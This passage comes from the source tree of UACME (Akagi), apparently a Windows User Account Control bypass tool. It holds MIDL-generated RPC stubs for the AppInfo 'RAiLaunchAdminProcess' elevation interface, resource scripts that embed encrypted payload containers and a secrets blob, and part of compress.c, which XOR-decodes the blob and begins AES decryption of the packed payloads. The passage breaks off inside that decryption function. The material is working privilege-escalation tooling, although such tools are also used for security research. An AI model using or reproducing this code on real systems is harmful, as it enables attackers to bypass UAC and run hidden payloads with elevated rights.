/* 70 */	NdrFcShort( 0x16 ),	/* Type Offset=22 */

	/* Parameter hWnd */

/* 72 */	NdrFcShort( 0x48 ),	/* Flags:  in, base type, */
/* 74 */	NdrFcShort( 0x48 ),	/* X64 Stack size/offset = 72 */
/* 76 */	0xb9,		/* FC_UINT3264 */
			0x0,		/* 0 */

	/* Parameter Timeout */

/* 78 */	NdrFcShort( 0x48 ),	/* Flags:  in, base type, */
/* 80 */	NdrFcShort( 0x50 ),	/* X64 Stack size/offset = 80 */
/* 82 */	0x8,		/* FC_LONG */
			0x0,		/* 0 */

	/* Parameter ProcessInformation */

/* 84 */	NdrFcShort( 0x6113 ),	/* Flags:  must size, must free, out, simple ref, srv alloc size=24 */
/* 86 */	NdrFcShort( 0x58 ),	/* X64 Stack size/offset = 88 */
/* 88 */	NdrFcShort( 0x38 ),	/* Type Offset=56 */

	/* Parameter ElevationType */

/* 90 */	NdrFcShort( 0x2150 ),	/* Flags:  out, base type, simple ref, srv alloc size=8 */
/* 92 */	NdrFcShort( 0x60 ),	/* X64 Stack size/offset = 96 */
/* 94 */	0x8,		/* FC_LONG */
			0x0,		/* 0 */

	/* Return value */

/* 96 */	NdrFcShort( 0x70 ),	/* Flags:  out, return, base type, */
/* 98 */	NdrFcShort( 0x68 ),	/* X64 Stack size/offset = 104 */
/* 100 */	0x8,		/* FC_LONG */
			0x0,		/* 0 */

			0x0
        }
    };

static const appinfo_MIDL_TYPE_FORMAT_STRING appinfo__MIDL_TypeFormatString =
    {
        0,
        {
			NdrFcShort( 0x0 ),	/* 0 */
/*  2 */	
			0x12, 0x8,	/* FC_UP [simple_pointer] */
/*  4 */	
			0x25,		/* FC_C_WSTRING */
			0x5c,		/* FC_PAD */
/*  6 */	
			0x11, 0x8,	/* FC_RP [simple_pointer] */
/*  8 */	
			0x25,		/* FC_C_WSTRING */
			0x5c,		/* FC_PAD */
/* 10 */	
			0x11, 0x0,	/* FC_RP */
/* 12 */	NdrFcShort( 0xa ),	/* Offset= 10 (22) */
/* 14 */	
			0x15,		/* FC_STRUCT */
			0x3,		/* 3 */
/* 16 */	NdrFcShort( 0x8 ),	/* 8 */
/* 18 */	0x8,		/* FC_LONG */
			0x8,		/* FC_LONG */
/* 20 */	0x5c,		/* FC_PAD */
			0x5b,		/* FC_END */
/* 22 */	
			0x1a,		/* FC_BOGUS_STRUCT */
			0x3,		/* 3 */
/* 24 */	NdrFcShort( 0x38 ),	/* 56 */
/* 26 */	NdrFcShort( 0x0 ),	/* 0 */
/* 28 */	NdrFcShort( 0x14 ),	/* Offset= 20 (48) */
/* 30 */	0x36,		/* FC_POINTER */
			0x8,		/* FC_LONG */
/* 32 */	0x8,		/* FC_LONG */
			0x8,		/* FC_LONG */
/* 34 */	0x8,		/* FC_LONG */
			0x8,		/* FC_LONG */
/* 36 */	0x8,		/* FC_LONG */
			0x8,		/* FC_LONG */
/* 38 */	0x8,		/* FC_LONG */
			0x6,		/* FC_SHORT */
/* 40 */	0x3e,		/* FC_STRUCTPAD2 */
			0x4c,		/* FC_EMBEDDED_COMPLEX */
/* 42 */	0x0,		/* 0 */
			NdrFcShort( 0xffe3 ),	/* Offset= -29 (14) */
			0x40,		/* FC_STRUCTPAD4 */
/* 46 */	0x5c,		/* FC_PAD */
			0x5b,		/* FC_END */
/* 48 */	
			0x12, 0x8,	/* FC_UP [simple_pointer] */
/* 50 */	0x5,		/* FC_WCHAR */
			0x5c,		/* FC_PAD */
/* 52 */	
			0x11, 0x4,	/* FC_RP [alloced_on_stack] */
/* 54 */	NdrFcShort( 0x2 ),	/* Offset= 2 (56) */
/* 56 */	
			0x1a,		/* FC_BOGUS_STRUCT */
			0x3,		/* 3 */
/* 58 */	NdrFcShort( 0x18 ),	/* 24 */
/* 60 */	NdrFcShort( 0x0 ),	/* 0 */
/* 62 */	NdrFcShort( 0x0 ),	/* Offset= 0 (62) */
/* 64 */	0xb9,		/* FC_UINT3264 */
			0xb9,		/* FC_UINT3264 */
/* 66 */	0x8,		/* FC_LONG */
			0x8,		/* FC_LONG */
/* 68 */	0x5c,		/* FC_PAD */
			0x5b,		/* FC_END */
/* 70 */	
			0x11, 0xc,	/* FC_RP [alloced_on_stack] [simple_pointer] */
/* 72 */	0x8,		/* FC_LONG */
			0x5c,		/* FC_PAD */

			0x0
        }
    };

static const unsigned short LaunchAdminProcess_FormatStringOffsetTable[] =
    {
    0
    };


static const MIDL_STUB_DESC LaunchAdminProcess_StubDesc = 
    {
    (void *)& LaunchAdminProcess___RpcClientInterface,
    MIDL_user_allocate,
    MIDL_user_free,
    &LaunchAdminProcess__MIDL_AutoBindHandle,
    0,
    0,
    0,
    0,
    appinfo__MIDL_TypeFormatString.Format,
    1, /* -error bounds_check flag */
    0x50002, /* Ndr library version */
    0,
    0x801026e, /* MIDL Version 8.1.622 */
    0,
    0,
    0,  /* notify & notify_flag routine table */
    0x1, /* MIDL flag */
    0, /* cs routines */
    0,   /* proxy/server info */
    0
    };
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif
#else
#pragma warning(disable:4206)
#endif /* defined(_M_AMD64)*/


================================================
FILE: Source/Akagi/appinfo/x64/appinfo64.h
================================================


/* this ALWAYS GENERATED file contains the definitions for the interfaces */


 /* File created by MIDL compiler version 8.01.0622 */
/* at Mon Jan 18 19:14:07 2038
 */
/* Compiler settings for appinfo.idl:
    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 
    protocol : dce , ms_ext, c_ext, robust
    error checks: allocation ref bounds_check enum stub_data 
    VC __declspec() decoration level: 
         __declspec(uuid()), __declspec(selectany), __declspec(novtable)
         DECLSPEC_UUID(), MIDL_INTERFACE()
*/
/* @@MIDL_FILE_HEADING(  ) */

#pragma warning( disable: 4049 )  /* more than 64k source lines */


/* verify that the <rpcndr.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCNDR_H_VERSION__
#define __REQUIRED_RPCNDR_H_VERSION__ 475
#endif

#include "rpc.h"
#include "rpcndr.h"

#ifndef __RPCNDR_H_VERSION__
#error this stub requires an updated version of <rpcndr.h>
#endif /* __RPCNDR_H_VERSION__ */


#ifndef __appinfo64_h__
#define __appinfo64_h__

#if defined(_MSC_VER) && (_MSC_VER >= 1020)
#pragma once
#endif

/* Forward Declarations */ 

/* header files for imported files */
#include "oaidl.h"
#include "ocidl.h"

#ifdef __cplusplus
extern "C"{
#endif 


#ifndef __LaunchAdminProcess_INTERFACE_DEFINED__
#define __LaunchAdminProcess_INTERFACE_DEFINED__

/* interface LaunchAdminProcess */
/* [version][uuid] */ 

typedef struct _MONITOR_POINT
    {
    long MonitorLeft;
    long MonitorRight;
    } 	MONITOR_POINT;

typedef struct _APP_STARTUP_INFO
    {
    wchar_t *lpszTitle;
    long dwX;
    long dwY;
    long dwXSize;
    long dwYSize;
    long dwXCountChars;
    long dwYCountChars;
    long dwFillAttribute;
    long dwFlags;
    short wShowWindow;
    struct _MONITOR_POINT MonitorPoint;
    } 	APP_STARTUP_INFO;

typedef struct _APP_PROCESS_INFORMATION
    {
    unsigned __int3264 ProcessHandle;
    unsigned __int3264 ThreadHandle;
    long ProcessId;
    long ThreadId;
    } 	APP_PROCESS_INFORMATION;

/* [async] */ void  RAiLaunchAdminProcess( 
    /* [in] */ PRPC_ASYNC_STATE RAiLaunchAdminProcess_AsyncHandle,
    handle_t hBinding,
    /* [string][unique][in] */ wchar_t *ExecutablePath,
    /* [string][unique][in] */ wchar_t *CommandLine,
    /* [in] */ long StartFlags,
    /* [in] */ long CreationFlags,
    /* [string][in] */ wchar_t *CurrentDirectory,
    /* [string][in] */ wchar_t *WindowStation,
    /* [in] */ struct _APP_STARTUP_INFO *StartupInfo,
    /* [in] */ unsigned __int3264 hWnd,
    /* [in] */ long Timeout,
    /* [out] */ struct _APP_PROCESS_INFORMATION *ProcessInformation,
    /* [out] */ long *ElevationType);



extern RPC_IF_HANDLE LaunchAdminProcess_v1_0_c_ifspec;
extern RPC_IF_HANDLE LaunchAdminProcess_v1_0_s_ifspec;
#endif /* __LaunchAdminProcess_INTERFACE_DEFINED__ */

/* Additional Prototypes for ALL interfaces */

/* end of Additional Prototypes */

#ifdef __cplusplus
}
#endif

#endif




================================================
FILE: Source/Akagi/appinfo/x86-32/appinfo32.c
================================================


/* this ALWAYS GENERATED file contains the RPC client stubs */


 /* File created by MIDL compiler version 8.01.0622 */
/* at Mon Jan 18 19:14:07 2038
 */
/* Compiler settings for appinfo.idl:
    Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0622 
    protocol : dce , ms_ext, c_ext, robust
    error checks: allocation ref bounds_check enum stub_data 
    VC __declspec() decoration level: 
         __declspec(uuid()), __declspec(selectany), __declspec(novtable)
         DECLSPEC_UUID(), MIDL_INTERFACE()
*/
/* @@MIDL_FILE_HEADING(  ) */

#if !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_)


#pragma warning( disable: 4049 )  /* more than 64k source lines */
#if _MSC_VER >= 1200
#pragma warning(push)
#endif

#pragma warning( disable: 4211 )  /* redefine extern to static */
#pragma warning( disable: 4232 )  /* dllimport identity*/
#pragma warning( disable: 4024 )  /* array to pointer mapping*/
#pragma warning( disable: 4100 ) /* unreferenced arguments in x86 call */

#pragma optimize("", off ) 

#include "appinfo32.h"

#define TYPE_FORMAT_STRING_SIZE   75                                
#define PROC_FORMAT_STRING_SIZE   101                               
#define EXPR_FORMAT_STRING_SIZE   1                                 
#define TRANSMIT_AS_TABLE_SIZE    0            
#define WIRE_MARSHAL_TABLE_SIZE   0            

typedef struct _appinfo_MIDL_TYPE_FORMAT_STRING
    {
    short          Pad;
    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];
    } appinfo_MIDL_TYPE_FORMAT_STRING;

typedef struct _appinfo_MIDL_PROC_FORMAT_STRING
    {
    short          Pad;
    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];
    } appinfo_MIDL_PROC_FORMAT_STRING;

typedef struct _appinfo_MIDL_EXPR_FORMAT_STRING
    {
    long          Pad;
    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];
    } appinfo_MIDL_EXPR_FORMAT_STRING;


static const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax = 
{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};


extern const appinfo_MIDL_TYPE_FORMAT_STRING appinfo__MIDL_TypeFormatString;
extern const appinfo_MIDL_PROC_FORMAT_STRING appinfo__MIDL_ProcFormatString;
extern const appinfo_MIDL_EXPR_FORMAT_STRING appinfo__MIDL_ExprFormatString;

#define GENERIC_BINDING_TABLE_SIZE   0            


/* Standard interface: LaunchAdminProcess, ver. 1.0,
   GUID={0x201ef99a,0x7fa0,0x444c,{0x93,0x99,0x19,0xba,0x84,0xf1,0x2a,0x1a}} */



static const RPC_CLIENT_INTERFACE LaunchAdminProcess___RpcClientInterface =
    {
    sizeof(RPC_CLIENT_INTERFACE),
    {{0x201ef99a,0x7fa0,0x444c,{0x93,0x99,0x19,0xba,0x84,0xf1,0x2a,0x1a}},{1,0}},
    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
    0,
    0,
    0,
    0,
    0,
    0x00000000
    };
RPC_IF_HANDLE LaunchAdminProcess_v1_0_c_ifspec = (RPC_IF_HANDLE)& LaunchAdminProcess___RpcClientInterface;

extern const MIDL_STUB_DESC LaunchAdminProcess_StubDesc;

static RPC_BINDING_HANDLE LaunchAdminProcess__MIDL_AutoBindHandle;


/* [async] */ void  RAiLaunchAdminProcess( 
    /* [in] */ PRPC_ASYNC_STATE RAiLaunchAdminProcess_AsyncHandle,
    handle_t hBinding,
    /* [string][unique][in] */ wchar_t *ExecutablePath,
    /* [string][unique][in] */ wchar_t *CommandLine,
    /* [in] */ long StartFlags,
    /* [in] */ long CreationFlags,
    /* [string][in] */ wchar_t *CurrentDirectory,
    /* [string][in] */ wchar_t *WindowStation,
    /* [in] */ struct _APP_STARTUP_INFO *StartupInfo,
    /* [in] */ unsigned __int3264 hWnd,
    /* [in] */ long Timeout,
    /* [out] */ struct _APP_PROCESS_INFORMATION *ProcessInformation,
    /* [out] */ long *ElevationType)
{

    NdrAsyncClientCall(
                      ( PMIDL_STUB_DESC  )&LaunchAdminProcess_StubDesc,
                      (PFORMAT_STRING) &appinfo__MIDL_ProcFormatString.Format[0],
                      ( unsigned char * )&RAiLaunchAdminProcess_AsyncHandle);
    
}


#if !defined(__RPC_WIN32__)
#error  Invalid build platform for this stub.
#endif

#if !(TARGET_IS_NT50_OR_LATER)
#error You need Windows 2000 or later to run this stub because it uses these features:
#error   [async] attribute, /robust command line switch.
#error However, your C/C++ compilation flags indicate you intend to run this app on earlier systems.
#error This app will fail with the RPC_X_WRONG_STUB_VERSION error.
#endif


static const appinfo_MIDL_PROC_FORMAT_STRING appinfo__MIDL_ProcFormatString =
    {
        0,
        {

	/* Procedure RAiLaunchAdminProcess */

			0x0,		/* 0 */
			0x48,		/* Old Flags:  */
/*  2 */	NdrFcLong( 0x0 ),	/* 0 */
/*  6 */	NdrFcShort( 0x0 ),	/* 0 */
/*  8 */	NdrFcShort( 0x38 ),	/* x86 Stack size/offset = 56 */
/* 10 */	0x32,		/* FC_BIND_PRIMITIVE */
			0x0,		/* 0 */
/* 12 */	NdrFcShort( 0x4 ),	/* x86 Stack size/offset = 4 */
/* 14 */	NdrFcShort( 0x9a ),	/* 154 */
/* 16 */	NdrFcShort( 0x58 ),	/* 88 */
/* 18 */	0xc6,		/* Oi2 Flags:  clt must size, has return, has ext, has async handle */
			0xc,		/* 12 */
/* 20 */	0x8,		/* 8 */
			0x1,		/* Ext Flags:  new corr desc, */
/* 22 */	NdrFcShort( 0x0 ),	/* 0 */
/* 24 */	NdrFcShort( 0x0 ),	/* 0 */
/* 26 */	NdrFcShort( 0x0 ),	/* 0 */

	/* Parameter ExecutablePath */

/* 28 */	NdrFcShort( 0xb ),	/* Flags:  must size, must free, in, */
/* 30 */	NdrFcShort( 0x8 ),	/* x86 Stack size/offset = 8 */
/* 32 */	NdrFcShort( 0x2 ),	/* Type Offset=2 */

	/* Parameter CommandLine */

/* 34 */	NdrFcShort( 0xb ),	/* Flags:  must size, must free, in, */
/* 36 */	NdrFcShort( 0xc ),	/* x86 Stack size/offset = 12 */
/* 38 */	NdrFcShort( 0x2 ),	/* Type Offset=2 */

	/* Parameter StartFlags */

/* 40 */	NdrFcShort( 0x48 ),	/* Flags:  in, base type, */
/* 42 */	NdrFcShort( 0x10 ),	/* x86 Stack size/offset = 16 */
/* 44 */	0x8,		/* FC_LONG */
			0x0,		/* 0 */

	/* Parameter CreationFlags */

/* 46 */	NdrFcShort( 0x48 ),	/* Flags:  in, base type, */
/* 48 */	NdrFcShort( 0x14 ),	/* x86 Stack size/offset = 20 */
/* 50 */	0x8,		/* FC_LONG */
			0x0,		/* 0 */

	/* Parameter CurrentDirectory */

/* 52 */	NdrFcShort( 0x10b ),	/* Flags:  must size, must free, in, simple ref, */
/* 54 */	NdrFcShort( 0x18 ),	/* x86 Stack size/offset = 24 */
/* 56 */	NdrFcShort( 0x8 ),	/* Type Offset=8 */

	/* Parameter WindowStation */

/* 58 */	NdrFcShort( 0x10b ),	/* Flags:  must size, must free, in, simple ref, */
/* 60 */	NdrFcShort( 0x1c ),	/* x86 Stack size/offset = 28 */
/* 62 */	NdrFcShort( 0x8 ),	/* Type Offset=8 */

	/* Parameter StartupInfo */

/* 64 */	NdrFcShort( 0x10a ),	/* Flags:  must free, in, simple ref, */
/* 66 */	NdrFcShort( 0x20 ),	/* x86 Stack size/offset = 32 */
/* 68 */	NdrFcShort( 0x16 ),	/* Type Offset=22 */

	/* Parameter hWnd */

/* 70 */	NdrFcShort( 0x48 ),	/* Flags:  in, base type, */
/* 72 */	NdrFcShort( 0x24 ),	/* x86 Stack size/offset = 36 */
/* 74 */	0x8,		/* FC_LONG */
			0x0,		/* 0 */

	/* Parameter Timeout */

/* 76 */	NdrFcShort( 0x48 ),	/* Flags:  in, base type, */
/* 78 */	NdrFcShort( 0x28 ),	/* x86 Stack size/offset = 40 */
/* 80 */	0x8,		/* FC_LONG */
			0x0,		/* 0 */

	/* Parameter ProcessInformation */

/* 82 */	NdrFcShort( 0x4112 ),	/* Flags:  must free, out, simple ref, srv alloc size=16 */
/* 84 */	NdrFcShort( 0x2c ),	/* x86 Stack size/offset = 44 */
/* 86 */	NdrFcShort( 0x3c ),	/* Type Offset=60 */

	/* Parameter ElevationType */

/* 88 */	NdrFcShort( 0x2150 ),	/* Flags:  out, base type, simple ref, srv alloc size=8 */
/* 90 */	NdrFcShort( 0x30 ),	/* x86 Stack size/offset = 48 */
/* 92 */	0x8,		/* FC_LONG */
			0x0,		/* 0 */

	/* Return value */

/* 94 */	NdrFcShort( 0x70 ),	/* Flags:  out, return, base type, */
/* 96 */	NdrFcShort( 0x34 ),	/* x86 Stack size/offset = 52 */
/* 98 */	0x8,		/* FC_LONG */
			0x0,		/* 0 */

			0x0
        }
    };

static const appinfo_MIDL_TYPE_FORMAT_STRING appinfo__MIDL_TypeFormatString =
    {
        0,
        {
			NdrFcShort( 0x0 ),	/* 0 */
/*  2 */	
			0x12, 0x8,	/* FC_UP [simple_pointer] */
/*  4 */	
			0x25,		/* FC_C_WSTRING */
			0x5c,		/* FC_PAD */
/*  6 */	
			0x11, 0x8,	/* FC_RP [simple_pointer] */
/*  8 */	
			0x25,		/* FC_C_WSTRING */
			0x5c,		/* FC_PAD */
/* 10 */	
			0x11, 0x0,	/* FC_RP */
/* 12 */	NdrFcShort( 0xa ),	/* Offset= 10 (22) */
/* 14 */	
			0x15,		/* FC_STRUCT */
			0x3,		/* 3 */
/* 16 */	NdrFcShort( 0x8 ),	/* 8 */
/* 18 */	0x8,		/* FC_LONG */
			0x8,		/* FC_LONG */
/* 20 */	0x5c,		/* FC_PAD */
			0x5b,		/* FC_END */
/* 22 */	
			0x16,		/* FC_PSTRUCT */
			0x3,		/* 3 */
/* 24 */	NdrFcShort( 0x30 ),	/* 48 */
/* 26 */	
			0x4b,		/* FC_PP */
			0x5c,		/* FC_PAD */
/* 28 */	
			0x46,		/* FC_NO_REPEAT */
			0x5c,		/* FC_PAD */
/* 30 */	NdrFcShort( 0x0 ),	/* 0 */
/* 32 */	NdrFcShort( 0x0 ),	/* 0 */
/* 34 */	0x12, 0x8,	/* FC_UP [simple_pointer] */
/* 36 */	0x5,		/* FC_WCHAR */
			0x5c,		/* FC_PAD */
/* 38 */	
			0x5b,		/* FC_END */

			0x8,		/* FC_LONG */
/* 40 */	0x8,		/* FC_LONG */
			0x8,		/* FC_LONG */
/* 42 */	0x8,		/* FC_LONG */
			0x8,		/* FC_LONG */
/* 44 */	0x8,		/* FC_LONG */
			0x8,		/* FC_LONG */
/* 46 */	0x8,		/* FC_LONG */
			0x8,		/* FC_LONG */
/* 48 */	0x6,		/* FC_SHORT */
			0x3e,		/* FC_STRUCTPAD2 */
/* 50 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
			0x0,		/* 0 */
/* 52 */	NdrFcShort( 0xffda ),	/* Offset= -38 (14) */
/* 54 */	0x5c,		/* FC_PAD */
			0x5b,		/* FC_END */
/* 56 */	
			0x11, 0x4,	/* FC_RP [alloced_on_stack] */
/* 58 */	NdrFcShort( 0x2 ),	/* Offset= 2 (60) */
/* 60 */	
			0x15,		/* FC_STRUCT */
			0x3,		/* 3 */
/* 62 */	NdrFcShort( 0x10 ),	/* 16 */
/* 64 */	0x8,		/* FC_LONG */
			0x8,		/* FC_LONG */
/* 66 */	0x8,		/* FC_LONG */
			0x8,		/* FC_LONG */
/* 68 */	0x5c,		/* FC_PAD */
			0x5b,		/* FC_END */
/* 70 */	
			0x11, 0xc,	/* FC_RP [alloced_on_stack] [simple_pointer] */
/* 72 */	0x8,		/* FC_LONG */
			0x5c,		/* FC_PAD */

			0x0
        }
    };

static const unsigned short LaunchAdminProcess_FormatStringOffsetTable[] =
    {
    0
    };


static const MIDL_STUB_DESC LaunchAdminProcess_StubDesc = 
    {
    (void *)& LaunchAdminProcess___RpcClientInterface,
    MIDL_user_allocate,
    MIDL_user_free,
    &LaunchAdminProcess__MIDL_AutoBindHandle,
    0,
    0,
    0,
    0,
    appinfo__MIDL_TypeFormatString.Format,
    1, /* -error bounds_check flag */
    0x50002, /* Ndr library version */
    0,
    0x801026e, /* MIDL Version 8.1.622 */
    0,
    0,
    0,  /* notify & notify_flag routine table */
    0x1, /* MIDL flag */
    0, /* cs routines */
    0,   /* proxy/server info */
    0
    };
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif

#else
#pragma warning(disable:4206)
#endif /* !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_) */



================================================
FILE: Source/Akagi/appinfo/x86-32/appinfo32.h
================================================


/* this ALWAYS GENERATED file contains the definitions for the interfaces */


 /* File created by MIDL compiler version 8.01.0622 */
/* at Mon Jan 18 19:14:07 2038
 */
/* Compiler settings for appinfo.idl:
    Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0622 
    protocol : dce , ms_ext, c_ext, robust
    error checks: allocation ref bounds_check enum stub_data 
    VC __declspec() decoration level: 
         __declspec(uuid()), __declspec(selectany), __declspec(novtable)
         DECLSPEC_UUID(), MIDL_INTERFACE()
*/
/* @@MIDL_FILE_HEADING(  ) */

#pragma warning( disable: 4049 )  /* more than 64k source lines */


/* verify that the <rpcndr.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCNDR_H_VERSION__
#define __REQUIRED_RPCNDR_H_VERSION__ 475
#endif

#include "rpc.h"
#include "rpcndr.h"

#ifndef __RPCNDR_H_VERSION__
#error this stub requires an updated version of <rpcndr.h>
#endif /* __RPCNDR_H_VERSION__ */


#ifndef __appinfo32_h__
#define __appinfo32_h__

#if defined(_MSC_VER) && (_MSC_VER >= 1020)
#pragma once
#endif

/* Forward Declarations */ 

/* header files for imported files */
#include "oaidl.h"
#include "ocidl.h"

#ifdef __cplusplus
extern "C"{
#endif 


#ifndef __LaunchAdminProcess_INTERFACE_DEFINED__
#define __LaunchAdminProcess_INTERFACE_DEFINED__

/* interface LaunchAdminProcess */
/* [version][uuid] */ 

typedef struct _MONITOR_POINT
    {
    long MonitorLeft;
    long MonitorRight;
    } 	MONITOR_POINT;

typedef struct _APP_STARTUP_INFO
    {
    wchar_t *lpszTitle;
    long dwX;
    long dwY;
    long dwXSize;
    long dwYSize;
    long dwXCountChars;
    long dwYCountChars;
    long dwFillAttribute;
    long dwFlags;
    short wShowWindow;
    struct _MONITOR_POINT MonitorPoint;
    } 	APP_STARTUP_INFO;

typedef struct _APP_PROCESS_INFORMATION
    {
    unsigned __int3264 ProcessHandle;
    unsigned __int3264 ThreadHandle;
    long ProcessId;
    long ThreadId;
    } 	APP_PROCESS_INFORMATION;

/* [async] */ void  RAiLaunchAdminProcess( 
    /* [in] */ PRPC_ASYNC_STATE RAiLaunchAdminProcess_AsyncHandle,
    handle_t hBinding,
    /* [string][unique][in] */ wchar_t *ExecutablePath,
    /* [string][unique][in] */ wchar_t *CommandLine,
    /* [in] */ long StartFlags,
    /* [in] */ long CreationFlags,
    /* [string][in] */ wchar_t *CurrentDirectory,
    /* [string][in] */ wchar_t *WindowStation,
    /* [in] */ struct _APP_STARTUP_INFO *StartupInfo,
    /* [in] */ unsigned __int3264 hWnd,
    /* [in] */ long Timeout,
    /* [out] */ struct _APP_PROCESS_INFORMATION *ProcessInformation,
    /* [out] */ long *ElevationType);



extern RPC_IF_HANDLE LaunchAdminProcess_v1_0_c_ifspec;
extern RPC_IF_HANDLE LaunchAdminProcess_v1_0_s_ifspec;
#endif /* __LaunchAdminProcess_INTERFACE_DEFINED__ */

/* Additional Prototypes for ALL interfaces */

/* end of Additional Prototypes */

#ifdef __cplusplus
}
#endif

#endif




================================================
FILE: Source/Akagi/bin/Akatsuki64.cd
================================================


================================================
FILE: Source/Akagi/bin/Fubuki32.cd
================================================


================================================
FILE: Source/Akagi/bin/Fubuki64.cd
================================================


================================================
FILE: Source/Akagi/bin/Kamikaze.cd
================================================


================================================
FILE: Source/Akagi/bin32res.rc
================================================
#include "bin32res.h"
#include "winres.h"
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
IDR_FUBUKI32 RCDATA "bin\\fubuki32.cd"
IDR_KAMIKAZE RCDATA "bin\\kamikaze.cd"
IDR_SECRETS RCDATA "bin\\secrets32.bin"


================================================
FILE: Source/Akagi/bin64res.rc
================================================
#include "bin64res.h"
#include "winres.h"
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
IDR_FUBUKI64 RCDATA "bin\\fubuki64.cd"
IDR_FUBUKI32 RCDATA "bin\\fubuki32.cd"
IDR_AKATSUKI64 RCDATA "bin\\akatsuki64.cd"
IDR_KAMIKAZE RCDATA "bin\\kamikaze.cd"
IDR_SECRETS RCDATA "bin\\secrets64.bin"


================================================
FILE: Source/Akagi/compress.c
================================================
/*******************************************************************************
*
*  (C) COPYRIGHT AUTHORS, 2014 - 2026
*
*  TITLE:       COMPRESS.C
*
*  VERSION:     3.69
*
*  DATE:        12 Feb 2026
*
*  Compression and encoding/decoding support.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
#include "encresource.h"

#pragma comment(lib, "msdelta.lib")
#pragma comment(lib, "Bcrypt.lib")

#define UACME_KEY_SIZE 32

typedef struct _DCK_HEADER {
    DWORD Id;
    BYTE Data[UACME_KEY_SIZE];
} DCK_HEADER, * PDCK_HEADER;

/*
* EncodeBuffer
*
* Purpose:
*
* Decrypt/Encrypt given buffer.
*
*/
VOID EncodeBuffer(
    _In_ PVOID Buffer,
    _In_ ULONG BufferSize,
    _In_ ULONG Key
)
{
    ULONG k, c;
    PUCHAR ptr;

    if ((Buffer == NULL) || (BufferSize == 0))
        return;

    k = Key;
    c = BufferSize;
    ptr = (PUCHAR)Buffer;

    do {
        *ptr ^= k;
        k = _rotl(k, 1);
        ptr++;
        --c;
    } while (c != 0);
}

/*
* SelectSecretFromBlob
*
* Purpose:
*
* Return key used for decryption by Id from secrets blob.
*
* Use supHeapFree to release allocated result.
*
*/
PVOID SelectSecretFromBlob(
    _In_ ULONG Id,
    _Out_ PDWORD pcbKeyBlob
)
{
    ULONG i, c;
    ULONG dataSize = 0;
    PDCK_HEADER secretsBlob;
    PVOID pbSecret = NULL, resourceBlob;

    if (pcbKeyBlob)
        *pcbKeyBlob = 0;

    resourceBlob = supLdrQueryResourceData(SECRETS_ID,
        g_hInstance,
        &dataSize);

    if (resourceBlob) {

        secretsBlob = (PDCK_HEADER)supHeapAlloc(dataSize);
        if (secretsBlob) {

            RtlCopyMemory(secretsBlob, resourceBlob, dataSize);
            EncodeBuffer(secretsBlob, dataSize, AKAGI_XOR_KEY);

            c = dataSize / sizeof(DCK_HEADER);
            for (i = 0; i < c; i++) {
                if (secretsBlob[i].Id == Id) {
                    pbSecret = supHeapAlloc(UACME_KEY_SIZE);
                    if (pbSecret != NULL) {
                        RtlCopyMemory(pbSecret, secretsBlob[i].Data, UACME_KEY_SIZE);
                        if (pcbKeyBlob)
                            *pcbKeyBlob = UACME_KEY_SIZE;
                    }
                    break;
                }
            }

            RtlSecureZeroMemory(secretsBlob, dataSize);
            supHeapFree(secretsBlob);
        }

    }

    return pbSecret;
}

/*
* IsValidContainerHeader
*
* Purpose:
*
* Basic santity checks over container header.
*
*/
BOOL IsValidContainerHeader(
    _In_ PDCU_HEADER UnitHeader,
    _In_ DWORD FileSize
)
{
    DWORD HeaderCrc;

    if (UnitHeader == NULL)
        return FALSE;

    __try {
        if ((UnitHeader->Magic != UACME_CONTAINER_PACKED_DATA) &&   //Naka
            (UnitHeader->Magic != UACME_CONTAINER_PACKED_UNIT) &&   //Naka
            (UnitHeader->Magic != UACME_CONTAINER_PACKED_CODE) &&   //Kuma
            (UnitHeader->Magic != UACME_CONTAINER_PACKED_KEYS))     //Kuma
        {
            return FALSE;
        }

        //
        // Note that IV has different meaning in Kuma containers.
        //

        HeaderCrc = UnitHeader->HeaderCrc;
        UnitHeader->HeaderCrc = 0;
        if (RtlComputeCrc32(0, UnitHeader, sizeof(DCU_HEADER)) != HeaderCrc) {
            UnitHeader->HeaderCrc = HeaderCrc;
            return FALSE;
        }
        UnitHeader->HeaderCrc = HeaderCrc;

        if ((UnitHeader->cbData == 0) ||
            (UnitHeader->cbDeltaSize == 0))
            return FALSE;
        if (UnitHeader->cbData > FileSize)
            return FALSE;
        if (UnitHeader->cbDeltaSize > FileSize)
            return FALSE;
        if (UnitHeader->cbDeltaSize > UnitHeader->cbData)
            return FALSE;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        return FALSE;
    }

    return TRUE;
}

/*
* DecryptBuffer
*
* Purpose:
*
* Decrypt AES encrypted buffer.
*
* Use supVirtualFree to release allocated result.
*
*/
BOOL DecryptBuffer(
    _In_    PBYTE  pbBuffer,
    _In_    DWORD  cbBuffer,
    _In_    PBYTE  pbIV,
    _In_    PBYTE  pbSecret,
    _In_    DWORD  cbSecret,
    _Out_   PBYTE *pbDecryptedBuffer,
    _Out_   PDWORD pcbDecryptedBuffer
)
{
    BOOL                bResult = FALSE;
    BCRYPT_ALG_HANDLE   hAlgAes = NULL;
    BCRYPT_KEY_HANDLE   hKey = NULL;
